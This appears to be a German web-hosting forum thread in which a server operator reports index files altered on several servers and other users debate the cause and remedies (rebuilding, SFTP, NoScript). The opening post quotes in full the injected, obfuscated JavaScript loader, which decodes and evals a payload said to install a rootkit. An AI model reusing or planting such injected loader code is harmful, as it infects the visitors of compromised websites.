Javascript Problem / Index Dateien verändert

Rund um die Sicherheit des Systems und die Applikationen
Post Reply
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Javascript Problem / Index Dateien verändert

Post by punkneo »

Hallo zusammen,

Zum Thema: http://www.rootforum.de/forum/viewtopic ... pt#p299503

ich musste heute mit grauen feststellen, das meine Root-Server (1und1) kompromentiert worden sind.
Zu den Servern:
1: Suse 9.3 + Plesk 8.1
2. Suse 10.1 + Plesk 8.2

Zu dem Problem:

Jede Index.php/Index.html Datei im root Verzeichnis wurde am 16.01. (Jaaa.. zw. Aktion und Reaktion ist eine Menge Zeit vergangen :( )
mit folgendem Code ergänzt:

Code: Select all

<script language=JavaScript>var mf=" shapgvba ejtf(c){ine ro,con=" HcvfNU)z\"n#hG1*PrTR[4`5('082BVWa]-eZo,}9g$_l+m^6bp~w&IiOA|d@s=y7C:.XMq!xtSj;k{3u",olq="",i,nnu,l="",n;sbe(ro=0;ro<c.yratgu;ro++){ i=c.puneNg(ro);nnu=con.vaqrkBs(i);vs(nnu>-1){ n=((nnu+1)%81-1);vs(n<=0)n+=81;l+=con.puneNg(n-1); } ryfr l+=i;}olq+=l;qbphzrag.jevgr(olq);}",rmhc="";for(gvg=0;gvg<mf.length;gvg++){ fbd = mf.charCodeAt(gvg);if((fbd>64 && fbd<78)||(fbd>96 && fbd<110)) fbd=fbd+13;else 
if((fbd>77 && fbd<91)||(fbd>109 && fbd<123))fbd=fbd-13;rmhc=rmhc.concat(String.fromCharCode(fbd));} var km,ff; eval( rmhc );km="<A~Msi$U7#]FT#FGla&#B#A~Msi$a>U!c~T"G]$K;Ms$G'Ua<SeRJ:1U7#]FT#FGl\an#B#S~Msi$\aUSRel\a $$i.//;;;KFccF7G#]#7s$s~AK]G$/yyT$,K&A?az!c~T"G]$KMG=GMMGMza\a><\/SeRJ:1>aUmxU</A~Msi$>U"; rwgs(km);</script>
Wenn ich die Seite mit Firefox aufrufe, passiert nix großartig.. wenn ich die Seite jedoch mit einem IE öffne, kommt eine Meldung, das ein ActiveX Steuerelement ausgeführt werden möchte.
Jetzt der Clou:
Wie in http://www.securityfocus.com/news/11501 beschrieben, kann man danach die Seite erneut aufrufen und alles ist schick.

Wenn ich den Beitrag, wie auch andere Beiträge ( http://www.secureworks.com/research/thr ... uxservers/ und http://www.pcworld.com/businesscenter/a ... fying.html ) richtig verstanden habe, ist das ein Apache Problem?!

Das interessante ist, das nur die Index Dateien im root Verzeichnis verändert wurden.. wenn die Domain nicht im httpdocs Verzeichnis landet, ist die index Datei nicht verändert.

Es gibt - bis auf den Artikel oben - keine deutschen Beiträge zu dieser Sache...
Ein dritter Server, der nicht mir gehört (bei Blau.de) ist auch betroffen.. Ein anderer bei 1und1 wiederum nicht.
ABER ein Webaccount von 1und1 wiederum ist betroffen. Also kein ROOT Server sondern ein normaler Webspace.
Auf den Hinweis an die 1und1 Hotline meinte der Herr von der Hotline nur, nachdem er frei eine andere Seite angesehen hat, das er nix sieht und das kein Problem von 1und1 ist. =D> :roll:

Jetzt meine Frage an euch:
1. Da das Problem recht neu ist.. hat noch jemand das Problem
2. Sehe ich anhand der Beiträge richtig, das es ein Apache Problem ist (1und1 meinte ich solle auf Plesk 8.3 updaten und dann ist die Welt i.O.)
3. Wie kann ich das Problem lösen (Ausser Webserver neu aufsetzen)

Vielen Dank für eure Hilfe

MfG
Roger Wilco
Posts: 5923
Joined: 2004-05-23 12:53
 

Re: Javascript Problem / Index Dateien verändert

Post by Roger Wilco »

Punkneo wrote:Es gibt - bis auf den Artikel oben - keine deutschen Beiträge zu dieser Sache...
Unter http://serversupportforum.de/forum/smal ... eiten.html gibt es noch eine (fruchtlose) DIskussion darüber.
Punkneo wrote:2. Sehe ich anhand der Beiträge richtig, das es ein Apache Problem ist (1und1 meinte ich solle auf Plesk 8.3 updaten und dann ist die Welt i.O.)
Ich würde eher überprüfen, welche dynamischen Skripte du auf den betroffenen Servern verwendet hast und die gründlich überprüfen. Die Sache mit dem Apache halte ich für einigermaßen unwahrscheinlich.
Punkneo wrote:3. Wie kann ich das Problem lösen (Ausser Webserver neu aufsetzen)
Indem du das komplette System neu aufsetzt nachdem du den Angriffsvektor identifiziert hast. Und nein, es gibt keine Alternative dazu.
jan10001
Anbieter
Posts: 756
Joined: 2004-01-02 12:17
 

Re: Javascript Problem / Index Dateien verändert

Post by jan10001 »

Dem stimme ich zu, System sichern zur Auswertung und neu aufsetzen. In der Regel sind da noch weitere Änderungen zu finden ausser den erwähnten.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

Hallo,

erstmal vielen Dank...

Ich habe keinerlei Standardsoftware (wie phpbb Foren oder sonstiges) auf den Servern...

Wenn ich die News
http://silicon.de/enid/security_management/33003
http://silicon.de/enid/antivirus/33040
richtig verstehe, hat auch ein neu aufsetzen keinen Sinn...

Ich habe bis jetzt per ssh alle Dateien aufgespürt und die Javascriptzeilen entfernt...

MfG
Roger Wilco
Posts: 5923
Joined: 2004-05-23 12:53
 

Re: Javascript Problem / Index Dateien verändert

Post by Roger Wilco »

Punkneo wrote:Wenn ich die News
http://silicon.de/enid/security_management/33003
http://silicon.de/enid/antivirus/33040
richtig verstehe, hat auch ein neu aufsetzen keinen Sinn...
Es gibt durchaus noch andere Webserver neben dem Apache httpd...
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by Joe User »

Punkneo wrote:Wenn ich die News
http://silicon.de/enid/security_management/33003
http://silicon.de/enid/antivirus/33040
richtig verstehe, hat auch ein neu aufsetzen keinen Sinn...
Zum Einen geht es in den Artikeln um Shared-Hosting und nicht um RootServer, zum Anderen sind die Artikel extrem schlecht recherchiert und geschrieben (Was ist ein Apache-Kernel?). Die Ursache ist auch keine Lücke in Apache, sondern unerfahrene und/oder faule Websitebetreiber...
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

Joe User wrote:..Die Ursache ist auch keine Lücke in Apache, sondern unerfahrene und/oder faule Websitebetreiber...
Wenn dem so ist, kannst du mir aus deiner Erfahrung herraus sagen, wie das Javascript in meine Dateien gekommen ist?!
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by Joe User »

Durch eine Sicherheitslücke in einer Deiner WebApps.
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

Joe User wrote:Durch eine Sicherheitslücke in einer Deiner WebApps.
Ok... Wenn dem so sein sollte, dann verstehe ich nicht, wie meine root-Server mit Plesk, ein Server von blau.de, div. 1und1 Webspace Acc.
(Die nichts mit mir zu tun haben) davon betroffen sind...

Es sind ja wie gesagt auch nur index.html Dateien, die direkt im root-Verzeichnis der Domain liegen...

Ich danke euch für eure Antworten, aber ich glaube, das wird etwas zu milde mit Aussagen wie der Websitebetreiber ist zu "dumm/faul" zur Seite gepackt :roll:

MfG
braindead
Posts: 250
Joined: 2002-10-22 09:49
Location: vorm Rechner
 

Re: Javascript Problem / Index Dateien verändert

Post by braindead »

Punkneo wrote:Ok... Wenn dem so sein sollte, dann verstehe ich nicht, wie meine root-Server mit Plesk, ein Server von blau.de, div. 1und1 Webspace Acc.
(Die nichts mit mir zu tun haben) davon betroffen sind...
Wer sagt denn das der Einbruch immer über die selbe Schwachstelle erfolgt ist? Joe hat aber schon recht, in den wenigsten Fällen ist es der Apache. Meistens ist es eine Webapplication die nicht sauber programmiert wurde.
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by Joe User »

Ich packe das Problem nicht "milde" zur Seite, sondern nehme es ziehmlich ernst. Hierzu muss man aber auch verstehen beziehungsweise wissen, wie solche Angriffe durchgeführt werden. Desweiteren wurde diese Angriffsmethode ausgiebig auf diversen Security-Mailinglisten und anderen Orten diskutiert und analysiert, nur eben nicht auf deutsch. Wenn Du nicht ausreichend englisch verstehst, musst Du halt Leuten vertrauen, die dies tun und mehr von der Materie verstehen, als irgendwelche Möchtegern-Jornalisten...

BTW: Ja, auch ich war selbst mal das erste/einzige Opfer einer Sicherheitslücke in einer WebApp, welche auf Grund meines Bugreports umgehend gefixt wurde. An dieser Stelle nochmals Danke an die PMF-Entwickler und Stefan Esser für das Bestätigen und Fixen des Bugs.
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

Ich glaube, ich hab endlich einen Anhaltspunkt gefunden...
http://www.linux.com http://www.linux.com/feature/125548

ScanSoft über die gleiche Art und Weise bei http://www.indiatimes.com http://www.scansafe.com/threat_center/t ... er_trojans

Anscheinend ist das Problem recht neu...

Ich danke euch für eure Hilfe..
User avatar
Joe User
Project Manager
Project Manager
Posts: 11191
Joined: 2003-02-27 01:00
Location: Hamburg
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by Joe User »

Schön dass ScanSoft die ohnehin bekannte Malware untersucht, statt das eigentliche Problem anzugehen...
PayPal.Me/JoeUserFreeBSD Remote Installation
Wings for LifeWings for Life World Run

„If there’s more than one possible outcome of a job or task, and one
of those outcomes will result in disaster or an undesirable consequence,
then somebody will do it that way.“ -- Edward Aloysius Murphy Jr.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

Guten Tag,

nach ein paar Recherchen habe ich anscheinend das Problem gefunden... Es ist nicht der Server, sondern der User, der die FTP Daten hat.

siehe: http://pouet.net/topic.php?which=5006&page=1

MfG
enn
Posts: 43
Joined: 2006-02-10 17:38
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by enn »

Es liegt einfach an unsicheren Applikationen. Ob das nun Web-App oder System-App sind spielt keine Rolle.
Server neu aufsetzen, aktuellere Version der betroffenen Applikation (von Hand) installieren oder ggf. durch eine andere Software ersetzen => (erstmal) Fertig.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

Es war ein Rootkit, welches sich die FTP Daten geholt hat... ich hab mir die FTP Logs angesehen und musste feststellen, das die index Dateien innerhalb von Minuten von der IP 58.65.238.59 überschrieben worden sind...

Zuzuordnen ist die IP dem RBN http://en.wikipedia.org/wiki/Russian_Business_Network...

Also.. Server neu aufsetzen, neue FTP PW's, meinem Vater nen Linux Rechner hinstellen oder keine PW's mehr geben und hoffen...

Enn... wenn ich eine aktuellere Version des betroffenen Applikation installieren müsste, müsste ich Windoof XP wegwerfen.. bzw. den IE/Firefox.
Das codierte Javascript funzt zum Glück nicht mit IE7/FF 2.0, da es dazu zu unsauber geschrieben ist.. aber für alle anderen installiert es ein Rootkit...
Roger Wilco
Posts: 5923
Joined: 2004-05-23 12:53
 

Re: Javascript Problem / Index Dateien verändert

Post by Roger Wilco »

Wenn ich den Beitrag in dem Forum von pouet.net richtig verstehe, müsste es schon helfen, wenn du kein FTP mehr benutzt. Es gibt genügend (verschlüsselte) Alternativen, z. B. SFTP/SCP oder WebDAV über HTTPS.

Außerdem gibt es bspw. die NoScript-Erweiterung für den Firefox, so dass solche JavaScript basierten Schädlinge dich nicht sofort erwischen.
punkneo
Posts: 8
Joined: 2008-02-06 13:09
Contact:
 

Re: Javascript Problem / Index Dateien verändert

Post by punkneo »

NoScript werde ich meinen Vater auch installieren... ich benutze es ja schon...

Die Frage ist ja, wenn der lokale PC durch Trojaner/Rootkit infiziert ist, ob SFTP dann was nützt?!

Sniffen dürfte ja damit nicht mehr möglich sein (Keine Ahnung ob Benutzer/PW verschlüsselt übertragen werden)?!?
Und wenn die PW's verschlüsselt schon hinterlegt sind, bringt demjenigen ein Keylogger auch nicht weiter?!
Roger Wilco
Posts: 5923
Joined: 2004-05-23 12:53
 

Re: Javascript Problem / Index Dateien verändert

Post by Roger Wilco »

Punkneo wrote:Die Frage ist ja, wenn der lokale PC durch Trojaner/Rootkit infiziert ist, ob SFTP dann was nützt?!
Eingeschränkt ja. Wenn die Anmeldung von SFTP/SCP auf einem durch eine Passphrase geschützten Schlüssel basiert, bräuchte der Angreifer sowohl die Passphrase, als auch den Private Key. Das ist nicht mehr ganz so trivial, wie ein unverschlüsseltes Passwort, wie es bei FTP verwenden wird, abzugreifen.
Punkneo wrote:Sniffen dürfte ja damit nicht mehr möglich sein (Keine Ahnung ob Benutzer/PW verschlüsselt übertragen werden)?!?
Sniffen des Datenverkehrs ist natürlich weiterhin möglich, aber es bringt nicht mehr allzuviel, da der Datenstrom verschlüsselt ist.
wgot
Posts: 1675
Joined: 2003-07-06 02:03
 

Re: Javascript Problem / Index Dateien verändert

Post by wgot »

Hallo,

in etlichen der verlinkten Seiten wird geschrieben, daß der Server scriptverseuchte Seiten zurückgibt, das Script aber in der Datei auf dem Server nicht drinsteht (weshalb vermutet wird, daß der Apache irgendwie manipuliert wurde).

Wie ist das bei den drei Servern des OP?

Gruß, Wolfgang
Post Reply